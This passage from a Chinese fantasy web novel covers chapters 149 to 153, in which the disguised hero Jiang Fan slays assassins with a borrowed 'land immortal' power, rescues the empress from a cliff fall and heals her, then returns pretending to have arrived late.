原来,自己在他心目中如此重要吗?
“臣遵旨!”
江凡心中稍安,他对云暮几人郑重道:
“云暮姑娘,陛下安危,就交给你了!”
“世子放心!奴婢誓死护卫陛下!”云暮重重点头。
江凡不再犹豫,身形一晃,将【浮光掠影】身法催动到极致,朝着西面囚营方向电射而去!
越是靠近囚营,空气中的真气碰撞声、兵刃交击声、惨叫声越是清晰恐怖!
远远望去,只见火光冲天,人影翻飞,罡气四溢,将大片营地摧毁得一片狼藉!
江凡瞳孔收缩,只见战场中心,父亲江撼岳浑身是血,手持镔铁**,正与三名黑衣人激战!
那三名黑衣人,其中两人气息磅礴,赫然是大宗师巅峰!
而为首一人,气息晦涩如深渊,出手间引动天地元气,竟是一名极道宗师初期强者!
江撼岳虽勇猛,但在三人**下,已是左支右绌,险象环生!
全靠身上那件【天蚕金丝软甲】屡次挡住致命攻击,才勉强支撑!
他身旁的几名血狼卫将领,也已死伤大半!
“爹!”
江凡看得目眦欲裂!
顾不上隐藏实力了!
救人要紧!
他目光一扫,战场边缘有一处被真气余波震塌的营帐废墟,正好无人注意。
他心念一动,瞬间闪入废墟阴影中。
“【百变披风】变幻——逍遥公子形态!”
“系统,兑换使用【陆地神仙体验卡】!”
第149章 丢人丢大了
轰——!
一股磅礴的力量,瞬间充斥了江凡的四肢百骸、经脉丹田!
他感觉自己的身体仿佛化为了天地的一部分,一念之间,便可调动方圆数里内的天地元气!
神识延伸,战场上每一粒尘埃的飞舞都清晰可见!
这是一种超越凡俗、执掌乾坤的无上境界!
他身上的披风无风自动,瞬间化作璀璨的金色,脸上也覆盖上了一张古朴的青铜面具!
逍遥公子,再临世间!
没有半分迟疑,江凡一步踏出,身形直接出现在战场中心,那名正一掌拍向江撼岳天灵盖的极道宗师身后!
“蝼蚁安敢逞凶?”
低沉沙哑、却蕴含无上威严的声音响起。
那极道宗师骇然变色,只觉一股无法抗拒的死亡危机从背后袭来!
他想要转身防御,却发现自己周身的空间仿佛凝固了!
动作变得无比迟缓!
江凡并指如剑,看似随意地向前一点!
指尖前方,空间泛起涟漪,一道蕴含着混沌气息的金色指芒,后发先至,瞬间洞穿了那名极道宗师的护体罡气,点在他的背心要害!
“噗——!”
那名极道宗师身体剧震,眼中充满了恐惧和难以置信,连惨叫都未能发出,全身经脉、丹田、神魂瞬间被那无坚不摧的指力震得粉碎!
整个人如同被抽掉了骨头,软软地瘫倒在地,气息全无!
秒杀!
绝对的碾压!
陆地神仙之境,恐怖如斯!
这石破天惊的一幕,如同定格画面,深深烙印在现场每一个人的眼中、心中!
正准备拼死一搏的江撼岳,枪势僵在半空,虎目圆睁,眼珠几乎要瞪出眼眶!
他难以置信地看着那金色斗篷、青铜面具的身影,又看看地上瞬间毙命的强敌,大脑一片空白!
极道宗师…就这么…**?
被…被秒杀了?
这是何等修为?何等手段?
另外两名**江撼岳的大宗师巅峰黑衣人,更是如遭雷击,身形剧颤,眼中充满了恐惧和绝望!
首领…他们当中最强的极道宗师,竟然连对方一招都接不下?
这金色身影是谁?
难道是…传说中的陆地神仙?
那个王八蛋请他们来的时候没有说有陆地神仙啊!
逃!
必须立刻逃!
两人肝胆俱裂,再也顾不得任务,怪叫一声,身形暴退,就要向不同方向遁走!
“哼!想走?”
青铜面具下,传出江凡冰冷沙哑的哼声,不带丝毫情感。
他甚至没有回头看那两人,只是随意地抬起右手,五指微张,对着两人逃窜的方向,轻轻一握!
“嗡——!”
方圆百丈内的天地元气瞬间凝固!
那两名已逃出数十丈的大宗师巅峰,如同撞上了一堵无形的墙壁,身形猛地定格在半空!
他们惊恐地发现,自己周身空间被彻底锁死,连一根手指都无法动弹!
无边的恐惧瞬间淹没了他们!
“噗!噗!”
两声轻微的闷响,两名大宗师巅峰的身体,在空中诡异的扭曲、压缩,然后…轰然爆开!
化作两团血雾,消散在夜风之中!
连惨叫都未能发出!
弹指间,三大高手灰飞烟灭!
静!
死一般的寂静!
残存的血狼卫将士,以及刚刚赶到的部分援军,全都目瞪口呆地看着那尊金色身影,大气不敢喘一口。
江撼岳最先回过神来,他强压下心中的惊涛骇浪。
连忙扔掉**,单膝跪地,抱拳躬身,声音因激动和敬畏而微微颤抖:
“末将江撼岳!多谢前辈救命之恩!前辈神通盖世,晚辈…晚辈感激不尽!”
他心中已万分确定,眼前之人,定是儿子口中那位神秘莫测的师尊,著写《深宫秘恋》的陆地神仙——逍遥公子!
没想到,这位前辈竟会在此刻现身,再次救他于危难!
江凡看着老爹向自己下跪,差点吓出心脏病!
这可使不得!
折寿啊!
他下意识就想伸手去扶,嘴里差点喊出‘爹你快起来’!
幸好反应快,将那声‘爹’硬生生憋了回去,变成了一个略显急促和尴尬的沙哑声音:
“地....地下凉…江将军不必多礼!路见不平,举手之劳…”
他一边说,一边也下意识地单膝跪了下去!
跟老爹来了个面对面跪拜!
江撼岳:“???”<
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br>众将士:“???”
所有人都愣住了!
前辈…您这是…???
怎么也跪下了?
难道是某种特殊的礼仪?
江凡心中一万头草泥马狂奔而过!
丢人丢大了!
他赶紧稳住身形,强行运转真气,硬生生又‘弹’了起来,干咳两声,掩饰尴尬:
“咳咳…无妨,方才…气息运转,略有滞涩,脚下不稳。”
这理由,他自己都不信!
江撼岳虽然满心疑惑,但也不敢多问,或许高人行事,就是如此…不拘一格?
他连忙道:
“前辈无恙便好!前辈修为通天,晚辈佩服!”
江凡生怕他再拜,赶紧转移话题,语气急促道:
“江将军,此地匪首已诛,残余匪类不足为虑!本座需即刻赶回护驾!此间事宜,交由将军处置!”
他说完将神识扩散出去,检查还有没有隐藏的高手。
当发现没有异常的人之后,也松了口气。
不过他必须立刻赶回去!
女帝那边可不能出事!
江撼岳闻言,脸色剧变!
调虎离山?
这倒是有可能,或许靖王一开始的目的,就是在这里制造混乱,把逍遥公子从女帝身边引走!
他猛地站起身,急声道:
“前辈所言极是,陛下安危重于泰山!请前辈速去,末将处理完此地,立刻率兵前往接应!”
“好!”江凡不再废话,心念一动,陆地神仙那浩瀚的神识蔓延开去,瞬间锁定数里外的中军大帐区域!
那里的能量碰撞异常激烈!
果然发生了战斗,而且情况危急!
“不好!本座去也!”
他低喝一声,金色身影微微一晃,下一刻,便已出现在百丈之外,再一闪,彻底消失在夜色中,速度快到超越视觉极限!
“恭送前辈!”
江撼岳对着江凡消失的方向再次抱拳,心中充满了感激与震撼。
这就是凡儿的师尊吗?
果然是神仙人物,凡儿能被这样的高手收徒,真是江家的福分。
他立刻转身,虎目含煞,对残余部下怒吼道:
“清理战场、救治伤员!血狼卫随我来,驰援陛下!”
……
第150章 自己赌对了
中军大帐区域,此刻已是一片狼藉,火光冲天!
正如江凡神识所探,这里爆发了远比囚营更惨烈的战斗!
显然,靖王此次是下了血本,双管齐下,志在必得!
而刚刚先在老爹那里弄出动静,就是要将‘逍遥公子’引走,然后对女帝进行刺杀。
只见营帐周围,横七竖八倒着数十具禁军士兵和黑衣**的尸体。
场中,影老正与一名气息阴冷、同样达到极道宗师的蒙面老者激战正酣。
剑气纵横,掌风呼啸,打得难分难解,一时谁也奈何不了谁。
而最危急的,是女帝萧璇月所在的核心区域!
云暮嘴角溢血,秀发凌乱,手持短剑,护在女帝身前,正与三名大宗师、招式狠辣的黑衣人拼死搏杀!
她虽服用了江凡的丹药伤势大好,但面对三名大宗师高手**,已是左支右绌,险象环生,全靠一股悍不畏死的狠劲在支撑!
身上已多了数道伤口,鲜血染红了衣裙,很快被一掌击飞出去。
萧璇月被四名皇宫供奉和一群亲卫护在中间边打边退,这四名供奉也有两人带伤,脸色苍白。
而他们周围,还有七八名宗师境界的黑衣**在不断游走、偷袭,试图冲破防御圈!
形势岌岌可危!
“保护陛下!杀!”
一名供奉怒吼着,拼着硬受一名**一刀,反手一掌将其拍飞,自己却也喷出一口鲜血,踉跄后退。
“陛下,快走!向北面密林撤!臣等断后!”
另一名供奉嘶声喊道,目眦欲裂。
萧璇月凤眸含霜,玉手紧握着一柄秋水长剑,虽然脸色微微发白,但眼神却异常冷静和决绝!
她没有慌乱后撤,因为她知道,一旦阵型散乱,溃逃只会死得更快!
“众卿稳住阵脚慢慢撤退!援军顷刻便至!随朕杀敌!”
她的冷静感染了众人,残存的侍卫和供奉爆发出最后的勇气,结成圆阵,一边抵挡一边撤退。
但对方人数占优,高手更多,防线在不断被压缩,很快就被逼到一个悬崖处!
就在一位极道宗师瞅准机会,瞬间突破防御冲到女帝面前的时候——
“放肆!住手!”
沙哑的怒喝,瞬间响彻战场上空!
伴随着这声怒喝的,是一道流光骤然降临!
刚刚还杀气腾腾、疯狂**女帝亲卫的数名黑衣人,全都在同一时间,身形骤然僵直!
下一刻——
噗噗噗噗——!
一连串闷响,几乎在同一刹那响起!
几名宗师**,身体便诡异地扭曲、膨胀,随即轰然炸成漫天血雾!
一个大宗师,更是双目暴突,七窍流血,整个人倒飞出去数十丈,撞塌了数座营帐,瘫软在地,已然气息全无!
而那名与影老激战的极道宗师,惊骇欲绝地发现,自己周身的空间仿佛被冻结!
他拼命运转全身功力,护体罡气疯狂闪烁,却在那金色流光掠过他身侧的瞬间,寸寸碎裂!
他只感到一股无法抗拒的磅礴伟力轻轻拂过身体,然后…就没有然后了。
他的意识瞬间陷入黑暗,身体软软瘫倒,神魂俱灭!
陆地神仙,不愧是传说中的境界。
就算二十个极道宗师巅峰,都不可能跟陆地神仙叫板。
静!
死一般的寂静!
金色流光散去,显露出那道令人心悸的身影——依旧是那袭耀眼的金色斗篷和青铜面具,【逍遥公子】再次降临!
只是这一次,他身上的气息更加凛冽,仿佛神明漠然俯瞰着蝼蚁众生。
“前辈!”
影老捂着胸口,咳出一口瘀血,又惊又喜地看着来人。
“逍遥前辈!”
死里逃生的亲卫们爆发出劫后余生的狂喜!
然而,江凡此刻却心急如焚!
他秒杀这些杂鱼,只用了一瞬!
但就是这一瞬,他眼角余光赫然瞥见,女帝萧璇月被一个突近的极道宗师掌风扫中。
娇躯如同断线风筝般向后抛飞,而她身后不远,就是深不见底的万丈悬崖!
“不好!逆贼找死!”
江凡心中大急,眼见女帝就要坠崖,他目眦欲裂!
随着心念一动冲向悬崖,一击得手的极道宗师还来不及兴奋,就化成血雾。
“陛下——!”
远处传来云暮撕心裂肺的哭喊,她挣扎着想爬起来,却牵动内伤,再次吐血。
来不及多想!
江凡几乎是本能地,将体内那浩瀚之力催动到极致!
他身形一
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晃,在原地留下一道残影,真身已出现在悬崖边缘,朝着急速下坠的萧璇月追去!
速度快到极限,空气发出刺耳的音爆!
坠落!
急速的坠落!
耳边是呼啸的狂风,身下是无尽的黑暗深渊!
萧璇月只觉胸口剧痛,气血翻腾,五脏六腑仿佛都移了位,眼前阵阵发黑。
她知道自己被掌风扫中,虽有金丝软甲护体,卸去了大半力道。
但那股阴寒歹毒的煞气已然侵入经脉,正在疯狂肆虐,吞噬着她的生机!
更可怕的是,她正坠向那深不见底的悬崖!
死亡的气息,如此之近!
“难道…朕今日…便要殒命于此?”
绝望,如潮水瞬间淹没了她。
脑海中,竟然再次浮现出两道身影:一个神秘强大的金色斗篷、另一个永远懒散,像是睡不醒的样子...
然而,就在她意识即将涣散的瞬间——
一道金光以不可思议的速度追上了她下坠的身影!
紧接着,一双坚实有力的臂膀稳稳地将她揽入怀抱!
萧璇月猛地睁开眼,映入眼帘的,是那张熟悉的青铜面具!
以及面具后,那双深邃如星海的眼眸!
“逍…遥…前辈…”
她樱唇微启,吐出几个模糊的音节,紧绷的心弦骤然一松。
自己赌对了!
逍遥前辈!
他又来了…
在最绝望的时刻,如同天神般降临,将她从深渊的边缘拉回…
江凡紧紧抱着怀中脸色惨白、气息微弱的女帝,心急如焚!
他能清晰地感觉到,一股阴冷歹毒、充满侵蚀性的诡异真气,正盘踞在她心脉附近,疯狂破坏着她的生机!
若非有他赠送的【天蚕金丝软甲】挡住了大部分掌力,加上女帝自身修为已达宗师之境,恐怕刚才那一掌,就足以要了她的命!
“靖王!老贼!我必杀你!”
江凡心中怒吼,眼中杀意滔天!
但现在,不是愤怒的时候!
他必须立刻为女帝疗伤!
他抱着萧璇月,身形在空中猛地一折,卸去下坠的冲击力,然后稳稳地落在悬崖底部一处相对平坦、长满青苔的巨石之上。
整个过程兔起鹘落,快如闪电。
第151章 真是太险了
“呼…呼…”
江凡单膝跪地,大口喘息着,额头上渗出细密的冷汗。
他顾不得调息,立刻查看怀中女帝的状况。
萧璇月双目紧闭已经处于半昏迷状态,绝美的脸庞没有一丝血色,眉心之间隐约有一缕黑气缠绕,嘴唇也呈现出青紫色。
“好阴毒的掌力!这煞气…要不是有金丝软甲,就算极道宗师挨一掌也够呛!若不及时逼出,恐有性命之忧!”
江凡脸色凝重,以他的满级医术水平,自然能看出这煞气的厉害。
这绝非普通真气,而是一种极为阴损、专门侵蚀经脉、腐坏生机的歹毒功夫!
而且,煞气已侵入心脉,极为棘手!
如果不是陆地神仙修为还在,就算满级医术也无法治愈这种不可逆的损伤。
“必须立刻运功,将这煞气逼出体外!”
江凡心中焦急,他快速扫视四周。
悬崖底部光线昏暗,乱石嶙峋,显得幽深僻静。
此地虽非绝佳疗伤之所,但暂时还算安全。
他必须争分夺秒!
他将萧璇月平放在相对干净的石面上,自己盘膝坐在她身后,双掌运起真气,抵在她背心要穴,准备强行驱除煞气。
然而,真气刚探入她体内,便遇到了极大的阻碍!
那金丝软甲紧贴肌肤,虽能抵挡外力冲击,却也阻碍了真气的直接灌注和煞气的排出通道!
而且,萧璇月身上穿着数层繁复的宫装,同样严重影响了真气的运转和感知!
即使现在陆地神仙的修为,也无法顺畅将真气输送进去!
如果是一般的伤势还能凭借此时的修为强行疗养,但体内的煞气十分凶险,根本容不得一丝大意!
“该死!”
江凡低骂一声,额头青筋暴起。
救人如救火,每拖延一刻,女帝就多一分危险!
这煞气正在疯狂侵蚀她的心脉,再拖下去,就算逼出煞气,心脉受损,修为尽废都是轻的,重则生机断绝!
他眼中闪过一丝挣扎,但感受着她越来越微弱的气息,那一丝挣扎瞬间消失!
人命关天,顾不得那么多了!
他深吸一口气,声音干涩地对昏迷中的女帝说道:
“陛…陛下,事急从权,得罪了!要逼出你体内的阴毒煞气,必须褪去外衣,直接接触要穴施为…江…在下...本座绝无冒犯之意!请陛下…恕罪!”
说完,他颤抖着手,伸向萧璇月腰间的玉带。
指尖触碰到她腰肢的瞬间,那温软纤细的触感,让他浑身一颤,如同触电般缩了回来!
心脏不争气地狂跳起来,脸上一阵发烫!
他虽然‘纨绔’之名在外,但两世为人,何曾如此近距离触碰过女子的身体,更何况是褪去衣衫?
“冷静!江凡!她是女帝!现在她性命垂危,你在救人!医者父母心!不,是臣子救主之心!对!就是这样!”
他心中疯狂默念,强迫自己冷静下来,再次伸手,这一次,动作快了许多。
但指尖的颤抖却怎么也控制不住。
“死手!抖什么抖!没出息!”
他心中暗骂,好不容易解开玉带,然后是外袍的系带,一层层褪下那沾染了尘土和血迹的明黄龙袍…
让他血脉喷张的是,金丝软件脱掉,就只剩下一件肚兜了...
因为每天要换几次衣服,金丝软甲被萧璇月穿在了最里面。
软甲褪去,她那细腻如玉的肌肤,瞬间呈现在江凡眼前。
那露在外的香肩、精致的锁骨、纤细的腰肢、白皙光滑的后背…
散发出惊心动魄的魅力和致命的诱惑。
江凡只觉得呼吸一窒,大脑一片空白,鼻尖萦绕着女子身上特有的幽兰体香,让他血脉贲张,差点把持不住!
啪!
他给了自己一巴掌:没出息!
不就是女人的身体吗?
以前也没少从岛国电影里看过...
他连忙闭上眼,深吸几口气,默念清心咒,才勉强压下心中的旖旎。
不行!
不能再看了!
他猛地睁开眼,目光强行从那诱人的风景上移开,死死盯住萧璇月光洁的背心。
那里,正是煞气汇聚的核心!
“得罪了!”
他低吼一声,双掌再次运起真气,毫不犹豫地印在了萧璇月光洁的背心之上!
入手处一片滑腻温润,触感惊人,但他此刻心无旁骛,全部心神都集中在驱除煞气之上!
雄浑精纯的混元真气,源源不断涌入萧璇月体内,所过之处,温和地修复着受损的经脉,同时驱逐、消融着那股阴寒歹毒的煞气!
萧璇月闷哼一声,娇躯剧颤,眉头紧蹙,脸上露出痛苦之色,嘴角溢出一缕黑血。
江凡心中一紧,连忙放缓真气
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输入的速度,变得更加柔和,小心翼翼地引导着真气,与那顽固的煞气展开拉锯战。
这个过程极为凶险,稍有不慎,便可能伤及女帝心脉,甚至导致真气反噬!
他必须全神贯注,不敢有丝毫分心!
也的亏提升到陆地神仙,否则就算满级医术,想快速让女帝恢复都不可能,起码要修养几个月。
时间一点点过去。
江凡的额头渗出大颗大颗的汗珠,脸色也渐渐变得苍白。
驱除煞气,比他预想的还要棘手!
要是换一个人,医术再高也没有十足把握能在不伤到根基的同时,将煞气从心脉驱除。
“该死!这靖王从哪找来的这种阴毒功夫!”
江凡心中暗骂,咬牙坚持,将【混元一气诀】催动到极致,丹田内的真气疯狂涌出!
就在陆地神仙的修为快要结束时,萧璇月体内那顽固的煞气,终于被他的混元真气逼到了心口膻中穴附近,凝聚成一团浓郁的黑气!
“就是现在!给我出来!”
江凡眼中精光爆射,低喝一声,双掌猛然一震!
“噗——!”
萧璇月娇躯剧震,猛地喷出一大口黑血!
那黑血落在地上,竟发出‘滋滋’的声响,将岩石都腐蚀出一个个小坑!
随着这口黑血喷出,她脸上的黑气以肉眼可见的速度消散,惨白的脸色也渐渐恢复了一丝红润。
气息虽然依旧微弱,但已平稳了许多,不再有随时断绝之危。
“呼…总算好了…”
江凡长舒一口气,浑身汗水早已浸透了内衫。
他不敢怠慢,连忙从系统空间兑换出一颗【九转还魂丹】,小心地掰开萧璇月的樱唇,喂了进去,并用真气助其化开药力。
丹药入腹,磅礴的药力迅速散开,滋养着萧璇月受损的经脉和脏腑。
她的呼吸变得悠长平稳,脸上的红润也多了几分,性命已然无忧。
直到此时,江凡紧绷的神经才稍稍放松。
他缓缓收回双掌,看着眼前仅着贴身小衣、昏迷不醒的绝色女帝,一种疲惫和后怕才涌上心头。
刚才…真是太险了!
若非自己有系统,有【陆地神仙体验卡】,有这满级的医术和丹药…女帝今日,十死无生!
就算驱除了煞气,可能也会毁了根基,终身无法寸进,甚至修为还会**...
第152章 算什么理由
江凡不敢再看,连忙手忙脚乱地拿起一旁褪下的衣物,想要为萧璇月穿上。
然而,他从未伺候过女子更衣,何况是昏迷中的女帝。
那衣物又繁复无比,他笨手笨脚地弄了半天,不仅没穿好,反而露出更多雪白的肌肤…
就在这时,也许是丹药起了作用,萧璇月嘤咛一声,缓缓睁开了眼睛。
四目相对。
空气仿佛在这一刻凝固了。
萧璇月先是一阵茫然,随即感觉到身上传来的凉意,以及…近在咫尺的青铜面具!
她猛地意识到自己此刻的处境——几乎不着片缕,被一个男人抱在怀中,而那个男人,正手忙脚乱地试图给她穿衣服…
“啊——!”
一声短促的惊呼差点脱口而出,但帝王的本能让她硬生生压了回去!
随后是瞬间涌上脸颊的红霞!
从脖颈一直红到了耳根!
她羞愤欲死,下意识地想伸手推开对方,却发现全身酸软无力,连抬手的力气都没有。
“陛、陛下!您醒了?”
江凡也吓了一跳,手一抖,差点把衣服扔出去,连忙结结巴巴地解释道,
“陛…陛下勿惊!您…您中了阴毒掌力,煞气侵入心脉,危在旦夕!老夫不得已,才…才出此下策,为您逼毒疗伤!绝…绝无冒犯之意!”
他语无伦次,恨不得找个地缝钻进去。
萧璇月闻言,昏迷前的记忆如潮水般涌来——坠崖、被救、那温暖的怀抱、以及体内那股刺骨的剧痛…
她瞬间明白了前因后果。
是逍遥前辈!
又是他!
在千钧一发之际救了自己!
还用…用这种方式为自己疗伤!
她心中羞恼稍减,强压下狂乱的心跳,垂下眼睑,不敢再看那近在咫尺的面具,声音带着一丝颤抖:
“多…多谢前辈…救命之恩…是…是朕失态了…”
“不不不!是老夫唐突了!事急从权,情非得已!请陛下恕罪!”
江凡连忙摆手,这特喵的比大战一场还累。
他手忙脚乱地想把衣服给女帝披上,却因为紧张,手指不小心触碰到她的肩头。
那细腻滑嫩的触感,让他急忙缩回手,心脏差点跳出嗓子眼!
萧璇月也感觉到他指尖的温度,娇躯微微一颤,脸颊更红了,心里也有种莫名的慌乱。
逍遥前辈...几乎把自己看光了...
不知道为什么,此时心中有些懊恼,为什么身边的不是江凡。
她闭上眼睛,用几乎听不见的声音道:
“有、有劳前辈了…”
这声音,带着一种柔弱和娇羞,听得江凡骨头都酥了半边。
他深吸一口气,强行压下心中的旖念,凭借着强大的毅力开始扶住萧璇月,为她穿衣服。
萧璇月的身子不时贴在他身上,让他脑子嗡嗡的,也没注意到萧璇月趁机将一个玉佩塞进他外套衣领中。
前辈两次出手救驾,虽然世外高人不看重世俗财物,但她这个帝王总是要表示一下感谢的。
费了一番手脚,总算将萧璇月的外袍勉强套上,系好了腰带。
至于里面的中衣和软甲…江凡实在没勇气再去整理了。
做完这一切,两人都已是大汗淋漓。
气氛尴尬得能拧出水来。
江凡不敢久留,也怕跟女帝待久了自己露馅。
他连忙起身,背对着萧璇月,用尽量平稳的沙哑声音道:
“陛下体内煞气已除,又服用了疗伤圣药,只需静养数日,便可无碍。此地不宜久留,陛下麾下之人想必正在搜寻,很快就会找到这里。在下…先行告辞了。”
说完,他抬步欲走。
“前辈且慢!”
萧璇月忽然开口叫住了他。
江凡脚步一顿,心头一紧。
萧璇月感觉恢复了不少力气,于是挣扎着坐起身,靠在岩石上,美眸一瞬不瞬地看着他那金色的背影,犹豫了一下,还是问出了心中盘旋已久的疑惑:
“前辈…江凡他…是否是您的弟子?”
她的声音很轻,却带着一丝期待和忐忑。
江凡心中咯噔一下!
她竟然以为逍遥公子是他江凡的‘师尊’?
这个误会…似乎…不错?
他沉默片刻,既没有承认,也没有否认,只是用那沙哑的声音淡淡道:
“陛下伤势未愈,当安心静养。其余之事,莫要多想。”
这模棱两可的回答,反而更像是一种默认。
萧璇月美眸中闪过一丝了然,心中那个猜测似乎得到了印证。
果然!
江凡那小子,背后果然站着这位神秘莫测的逍遥前辈!
难怪他修为突飞猛进,行事诡秘,屡有奇遇!
她心中莫名地松了口气,仿佛解开了一个困扰她许久的心结。
但同时,又有一丝淡
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淡的失落…
如果江凡只是他的徒弟,那他屡次出手帮助自己是为什么?
有这种修为,如果真的想插手俗事,让弟子取代自己当个皇帝也简简单单啊!
她甩开这奇怪的念头,深吸一口气,再次鼓起勇气,问出了另一个让她耿耿于怀的问题:
“前辈,朕…朕有一事不明,还望前辈解惑。”
她顿了顿,脸颊又有些发烫,声音也低了下去,
“前辈所著《深宫秘恋》…其中…其中有些章节,对朕…颇多…颇多不敬之词,甚至…
甚至将朕与那侍卫林枫,写得…颇为不堪…不知前辈…意欲何为?可是对朕有何不满?”
江凡顿时有些尴尬,自己不过是为了快速获得人气值而已!
他强作镇定,脑子飞速运转,干咳两声,用更加沧桑(心虚)的语调道:
“陛下多虑了。话本小说,虚构演绎,只为博人一笑,警醒世人。其中人物情节,皆乃杜撰,陛下无需对号入座,更不必挂怀。
至于些许…咳咳,些许香艳之词,不过是为了吸引读者,增加销量罢了。陛下乃九五之尊,胸怀天下,何必与一介闲散文人笔下虚幻人物计较?”
他这番话,说得是冠冕堂皇,把自己摘得干干净净,顺便还‘捧’了女帝一下。
萧璇月闻言,怔了怔,心中那股憋闷和气恼,竟被这番‘无耻’的解释冲淡了不少,反而有种哭笑不得的感觉。
为了…增加销量?
这算是什么理由?
可不知为何,从这位前辈口中说出来,却又似乎…合情合理?
毕竟,他行事本就难以常理度之。
她咬了咬下唇,看着那似乎随时要消失的背影,心中涌起一股强烈的不舍。
她再次开口,声音带着恳求:
“前辈…朕知您乃世外高人,淡泊名利。但…大夏如今内忧外患,朕…朕深感力不从心。
若前辈不弃,朕愿以国师之位相待,与前辈共治江山,共享荣华!还望前辈…能留在朕身边,助朕一臂之力!”
这是她第二次发出邀请了,语气比上一次更加诚恳,甚至带着一丝卑微。
江凡背对着她,嘴角微微抽搐。
国师?
共治江山?
开什么玩笑!
自己的陆地神仙修为是临时的,就算真的到了陆地神仙,那想的也是怎么过逍遥日子,谁还当上班狗啊!
第153章 就说是捡的
江凡连忙道:
“陛下厚爱,在下心领。然闲云野鹤,散漫惯了,受不得拘束。朝堂之事,非在下所愿。陛下雄才大略,自有良臣辅佐,定能中兴大夏。在下…告辞了!”
说完,他身形一晃,就要施展身法离开。
“前辈!”
萧璇月急了,也顾不得伤势,提高声音道,
“既然前辈闲云野鹤,不受拘束,那又为何要著写那等…那等话本?又为何…屡次在朕危难之时出手相救?”
她问出了心底最大的疑惑,美眸紧紧盯着他的背影,仿佛要将他看穿。
江凡身形一僵,心中叫苦不迭。
这女人,怎么这么难缠!
他总不能说‘我是为了赚人气值’和‘我怕你**我也跟着倒霉’吧?
就在他绞尽脑汁想借口时,忽然神色一动,侧耳倾听,随即急促道:
“陛下,有人来了!想必是寻您之人已至崖下!在下不便久留,就此别过!陛下保重!”
话音未落,他身形已化作一道流光,几个闪烁,便消失在崖底嶙峋的乱石和茂密的藤蔓之后,踪迹全无。
“前辈!逍遥前辈!”
萧璇月急声呼唤,却只听到空谷回音,哪里还有那人的影子?
她怔怔地望着他消失的方向,心中涌起巨大的失落和怅然。
他就这么走了…每次都是如此,来去匆匆,神秘莫测,仿佛只是她生命中一个不可捉摸的幻影。
她低下头,看着自己身上那被草草穿好的、略显凌乱的龙袍。
又想起方才疗伤时那羞人的接触,以及他笨手笨脚为自己穿衣时的窘迫模样…
脸颊再次滚烫起来。
这个逍遥前辈…似乎也并非那般不食人间烟火,至少…在对待女子方面,似乎颇为…生涩?
这个念头一闪而过,连她自己都觉得荒谬。
她摇摇头,试图将这些乱七八糟的思绪甩开。
就在这时,远处果然传来了隐约的呼喊声和脚步声,越来越近。
“陛下——!”
“陛下您在哪里——!”
是江撼岳他们的声音!
他们找来了!
萧璇月精神一振,连忙整理了一下衣衫和略显散乱的发髻,强撑着虚弱的身体,靠坐在岩石上。
深吸几口气,努力让自己恢复帝王应有的威仪。
不多时,杂乱的脚步声迅速逼近,火把的光亮驱散了崖底的黑暗。
为首一人,正是满脸焦灼的镇国公江撼岳!
他身后跟着脸色苍白、被两名侍卫搀扶着的云暮,以及大批手持火把、刀剑出鞘的禁军和血狼卫!
“陛下!陛下!您没事吧?!”
江撼岳一眼看到靠坐在岩石上的女帝,虎目含泪,噗通一声跪倒在地,
“老臣救驾来迟!罪该万死!”
他身后众人也齐刷刷跪倒一片。
“陛下!您受伤了?”
云暮挣脱搀扶,踉跄着扑到女帝身边,看到她苍白的脸色和嘴角未干的血迹,眼泪瞬间涌了出来。
萧璇月摆了摆手,声音有些虚弱,却带着威严:
“朕无碍,皮肉之伤而已。多亏…多亏逍遥前辈及时赶到,救了朕的性命。”
“逍遥前辈?”
江撼岳和云暮眼中爆发出惊喜的光芒!
果然是他!
他又一次在绝境中力挽狂澜!
“前辈现在何处?”
江撼岳急忙问道。
萧璇月目光投向那幽深的黑暗,轻轻摇了摇头:
“前辈…已然离去。”
众人闻言,皆露出遗憾和崇敬之色。
高人行事,果然神龙见首不见尾。
这时,一阵略显慌张、气喘吁吁的呼喊声由远及近:
“陛下、陛下!您在哪里?臣救驾来迟,罪该万死啊!”
只见江凡拨开藤蔓,一脸‘焦急’和‘惶恐’地冲了过来。
他衣衫有些凌乱,脸上还沾着些灰尘和草屑,看起来像是匆匆赶路、摔了好几跤的模样。
他一看到靠坐在岩石上、脸色苍白、嘴角带血、衣衫…略显不整的女帝,先是一愣,随即声音带着哭腔:
“陛下!臣…臣来迟了!让陛下受此惊吓,臣罪该万死!陛下!您…您伤得重不重?快传太医!快传太医啊!”
他演技全开,将一个‘忠心护主却姗姗来迟、惊慌失措’的侍卫形象演绎得淋漓尽致。
萧璇月看着眼前的江凡,又想起方才那个神秘强大、却又在为自己疗伤时‘笨拙窘迫’的逍遥前辈…
两个身影在她脑海中交替闪现,那剧烈的心跳和发烫的脸颊,却怎么也平复不下
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来。
不仅因为刚刚逍遥前辈疗伤的事情,还有就是不知道怎么面对江凡。
这感觉怎么说呢,好像自己不干净了...
她轻轻叹了口气,声音带着一丝疲惫:
“朕无大碍,只是些皮外伤,休养几日便好。你们…都起来吧。”
“谢陛下!”
江凡也如蒙大赦的打量着女帝,那眼神,要多真诚有多真诚。
萧璇月在他的注视下,没来由地又想起方才崖底那尴尬又暧昧的一幕,心中有些发虚,不自然地移开了目光。
她摇摇头,将脑海中那些纷乱的念头压下,对江撼岳沉声道:
“镇国公,即刻清理战场,统计伤亡,加强戒备!传令下去,全力搜捕漏网之鱼!朕要活的!
朕倒要看看,是谁如此胆大包天,竟敢在西山围场行刺于朕!”
“老臣遵旨!”
江撼岳虎目含煞,领命而去。
“云暮,扶朕回营。”
萧璇月对云暮道,在云暮的搀扶下,缓缓站起身。
经过江凡身边时,她脚步微微一顿,目光复杂地看了他一眼,低声说了一句:
“你…也辛苦了。回去好生歇着吧。”
“臣不辛苦!护卫陛下,乃臣之本分!”
江凡连忙躬身,心中却暗松一口气。
看样子,女帝应该没有怀疑自己?
看着女帝在众人簇拥下,蹒跚离去的背影,江凡长长吁了口气,然后拍了拍胸口。
虽然过程惊险刺激加尴尬,但总算有惊无险,女帝也没有责怪自己这个贴身侍卫不尽责!
他正准备跟上队伍,突然感觉不对劲,连忙往身前又摸了摸——
一枚小巧的、通体碧绿、雕工精美的玉佩。
似乎是女帝系在腰间的饰物,难道是刚才抱着女帝慌乱穿衣服的时候,掉到自己衣领中了?
江凡看着手中的玉佩,触手温润,带着女子特有的淡淡体香。
他犹豫了一下,还是将其揣入怀中。
这玩意儿是女帝专属,拿去典当估计也没人敢收。
嗯…回头找机会还给她吧,就说自己在地上捡的,反正自己走在最后。
他拍了拍身上的尘土,整理了一下衣冠,脸上重新挂起那副忠心耿耿、心有余悸的表情,快步跟上了队伍。
第154章 深知其神效
